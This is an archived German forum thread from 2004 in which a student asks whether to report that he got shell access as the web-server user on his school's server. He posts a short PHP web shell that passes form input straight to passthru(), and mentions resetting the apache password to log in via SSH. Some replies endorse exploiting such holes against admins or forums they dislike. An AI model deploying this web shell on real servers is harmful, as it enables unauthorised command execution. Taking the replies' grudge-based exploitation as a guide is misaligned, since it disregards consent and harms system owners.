1. Liebe Forumsgemeinde,

    aufgrund der Bestimmungen, die sich aus der DSGVO ergeben, müssten umfangreiche Anpassungen am Forum vorgenommen werden, die sich für uns nicht wirtschaftlich abbilden lassen. Daher haben wir uns entschlossen, das Forum in seiner aktuellen Form zu archivieren und online bereit zu stellen, jedoch keine Neuanmeldungen oder neuen Kommentare mehr zuzulassen. So ist sichergestellt, dass das gesammelte Wissen nicht verloren geht, und wir die Seite dennoch DSGVO-konform zur Verfügung stellen können.
    Dies wird in den nächsten Tagen umgesetzt.

    Ich danke allen, die sich in den letzten Jahren für Hilfesuchende und auch für das Forum selbst engagiert haben. Ich bin weiterhin für euch erreichbar unter tti(bei)pcwelt.de.
    Dismiss Notice

Moralische Frage...

Discussion in 'Linux-Distributionen' started by bitumen, May 12, 2004.

Thread Status:
Not open for further replies.
  1. bitumen

    bitumen Megabyte

    Grüß Euch!

    Ich habe zwei kleine php dateien geschrieben, mit deren Hilfe man als user die Rechte des webservers erreichen kann. Ich habe es bereits am Schulserver getestet, es funktioniert problemlos. sprich: ich habe bash zugriff als "apache".

    Nun zur Frage: Was ist die korrekte Vorgangsweise?

    - Admin berichten?
    - später ev auf diversen Mailinglists posten?
    - nichts unternehmen?
    (- selber ausnützen?)

    Danke und tschööö, bitumen
     
    bitumen, May 12, 2004
    #1
  2. rapmaster

    rapmaster Halbes Gigabyte

    nicht auf einem system, das mit sorgfalt konfiguriert wurde.

    mfg
     
    rapmaster, May 13, 2004
    #2
  3. Donmato

    Donmato Megabyte

    dann sei schön artig;)
    der bug is aber auf sehr vielen apache maschinen drauf:D :D :D
     
    Donmato, May 13, 2004
    #3
  4. bitumen

    bitumen Megabyte

    ich habe mit dem admin geredet, er hat nicht gewusst, woher die mail an root von apache kommt :D
    Er hat gemeint, dass er im sommer susi91 draufmacht, und ich sollte die lücke nicht ausnützen :aua: :bse:

    greez, bitu
     
    bitumen, May 13, 2004
    #4
  5. rapmaster

    rapmaster Halbes Gigabyte

    /me benutzt fbsd
    und bei fbsd gibt standardmäßig nur für users shells, die sich wirklich auch einloggen können.

    mfg
     
    rapmaster, May 12, 2004
    #5
  6. bitumen

    bitumen Megabyte

    tja, passthru hat der admin in der schule nicht gesperrt, und der www-user unter suse heißt "wwwrun", hat ein home-verzeichnis und hat /bin/bash als shell. blöder gehts nich mehr :D
     
    bitumen, May 12, 2004
    #6
  7. rapmaster

    rapmaster Halbes Gigabyte

    1. bei mir ist
    passthru
    gesperrt
    2. für den user www gibt's kein login :)

    mfg
     
    rapmaster, May 12, 2004
    #7
  8. bitumen

    bitumen Megabyte

    schau dir den code an, den habe ich eh schon gepostet. außerdem kann ich mit
    das passwort für apache ändern und dann schön via ssh einloggen :D
     
    bitumen, May 12, 2004
    #8
  9. rapmaster

    rapmaster Halbes Gigabyte

    glaub ich irgendwie nicht.
    gib mal code her

    und kannst du auch auf datein oberhalb von ~ von www zugreifen oder nur unterhalb von ~

    mfg
     
    rapmaster, May 12, 2004
    #9
  10. bitumen

    bitumen Megabyte

    Danke schonmal, ich poste den code, damit ihr wisst, worum es geht:

    send.html:
    <html>
    <form action="recive.php" method="post">
    <table><tr><th>webbash</ht></tr>
    <tr><td>command:<input type="text" name="bashcommand" /></td></tr>
    <tr><td><input type="submit" name="sent" value="enter" /></td></tr>
    </table>
    </form>
    </html>



    recive.php:
    <html>
    <p>
    output:
    <br>
    <br>

    <?php
    $shcommand = $_POST['bashcommand'];

    $output = passthru($shcommand);
    echo $output;
    ?>

    <br>
    <hr>
    <a href=send.html>new command</a>
    </p>
    </html>
     
    bitumen, May 12, 2004
    #10
  11. sAcKrAttE 2ooo

    sAcKrAttE 2ooo Halbes Megabyte

    kommt drauf an :
    is der server nur mies konfiguriert oder is dasn genereller bug in der software ?
    bei letzerem würd ich den bug reporten und nen exploit bereitstellen damit die jungs auch grund haben ihr zeug zu fixen.
    bei ersterem gibts zumindest für mich 2 möglichkeiten : ists ne scheiss-schule, überhebliche admins mit 0 ahnung usw... dann ausnutzen, sonst melden.

    mfg Sr2k
     
    sAcKrAttE 2ooo, May 12, 2004
    #11
  12. DerDieDasEi

    DerDieDasEi ROM

    Also ich würde die Admins, wenn sie was unternehmen können, informieren, damit sie das Loch stopfen können.
    Allerdings in Foren, wo der Neuling einfach "n00b" genannt wird und der User der *** ist, würde ich?s ausnutzen!
     
    DerDieDasEi, May 12, 2004
    #12
Thread Status:
Not open for further replies.

Share This Page